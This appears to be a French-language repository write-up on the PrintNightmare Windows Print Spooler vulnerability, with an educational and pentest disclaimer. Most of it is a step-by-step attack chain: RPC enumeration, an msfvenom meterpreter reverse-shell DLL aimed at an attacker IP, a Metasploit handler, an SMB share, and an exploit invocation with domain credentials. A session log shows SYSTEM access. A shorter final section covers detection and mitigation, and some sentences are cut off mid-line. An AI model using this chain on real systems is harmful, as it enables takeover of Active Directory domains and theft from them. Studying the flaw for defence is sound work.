
Analyse technique de PrintNightmare (CVE-2021-1675 / CVE-2021-34527), couvrant l'exploitation RCE/LPE, la détection via les journaux d'événements Windows et les mesures d'atténuation pour Print Spooler.
Le dépôt contient un rapport technique détaillé (Write-up) et une analyse du concept d'exploitation d'une vulnérabilité critique dans le service du gestionnaire d'impression Windows (Print Spooler), permettant à un utilisateur de domaine à faibles privilèges d'exécuter à distance du code arbitraire avec les plus hauts privilèges système.
🛑 AVERTISSEMENT ET CLAUSE DE NON-RESPONSABILITÉ : Ce matériel a été préparé exclusivement à des fins éducatives et pour la réalisation d'un audit de sécurité légitime (Pentest). L'utilisation des techniques décrites contre des systèmes sans le consentement écrit préalable des propriétaires est passible de poursuites judiciaires.
Les vulnérabilités de la famille PrintNightmare représentent une menace critique pour les environnements d'entreprise basés sur Windows Server et Active Directory. Le défaut architectural de contrôle des droits dans les interfaces RPC MS-RPRN (Print System Remote Protocol) et MS-PAR (Print System Asynchronous Remote Protocol) permet de demander légitimement l'installation de pilotes d'imprimante sur un serveur distant.
Le principal danger réside dans le fait que, par défaut, le service du gestionnaire d'impression (spoolsv.exe) est actif sur la plupart des serveurs, y compris les contrôleurs de domaine (Domain Controllers), et fonctionne avec les privilèges les plus élevés, NT AUTHORITY\SYSTEM. La compromission d'un seul compte à faibles privilèges (par exemple, via hameçonnage) permet à un attaquant de prendre instantanément le contrôle total de toute l'infrastructure Active Directory.
impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, exploit Python.Pour mettre en œuvre le vecteur d'exécution de code à distance (RCE), des identifiants de domaine valides d'un utilisateur disposant de privilèges minimaux sont nécessaires (fournis dans le cadre de l'étude).
spoolsv.exe) sur la machine Windows cible est actif et fonctionne avec les privilèges maximaux SYSTEM, ce qui ouvre une possibilité directe d'élévation de privilèges locale (LPE) sur l'hôte via le chargement d'une bibliothèque non fiable.Avant de lancer l'exploit principal, il est nécessaire de vérifier que la machine distante fournit les protocoles d'impression vulnérables et est ouverte aux interactions réseau. Nous interrogeons les interfaces RPC du système cible :
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
Sortie de terminal contrôlée :
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] et [MS-PAR]. Cela confirme à 100 % que le système prend en charge les interfaces d'impression distante nécessaires et qu'il est vulnérable au vecteur PrintNightmare.Nous créons une charge utile pour l'architecture x64, en indiquant l'adresse IP de notre machine d'attaque pour la connexion réseau inverse :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
Le serveur Windows cible doit avoir la possibilité légitime de télécharger notre bibliothèque DLL sur le réseau sans utiliser d'utilitaires tiers. Nous mettons en place un serveur SMB avec prise en charge du protocole SMBv2 à partir du dossier /tmp :
sudo impacket-smbserver tmp /tmp -smb2support
Nous exécutons le script d'exploitation Python, en lui transmettant les identifiants de domaine d'un utilisateur à faibles privilèges et le chemin UNC vers la bibliothèque malveillante sur notre partage SMB local :
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
Journal de l'interception de session réussie (Metasploit) :
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM. La cible est entièrement compromise.Pour les spécialistes de la Blue Team, la détection de l'exploitation de PrintNightmare repose sur l'audit des journaux système Windows et le suivi de l'activité anormale des processus.
L'exécution réussie de l'exploit laisse des traces caractéristiques dans les journaux d'impression et les journaux système :
C:\Windows\System32\spool\drivers\x64\3\).Print Spooler), causé par le fonctionnement instable de l'exploit.cmd.exe, powershell.exe) ou d'utilitaires de collecte de données dont le parent est le processus système du gestionnaire d'impression spoolsv.exe. Dans des conditions légitimes, spoolsv.exe ne génère jamais de shells de commande.spoolsv.exe vers des ressources SMB externes (port 445) pour télécharger des fichiers de pilotes.Disabled.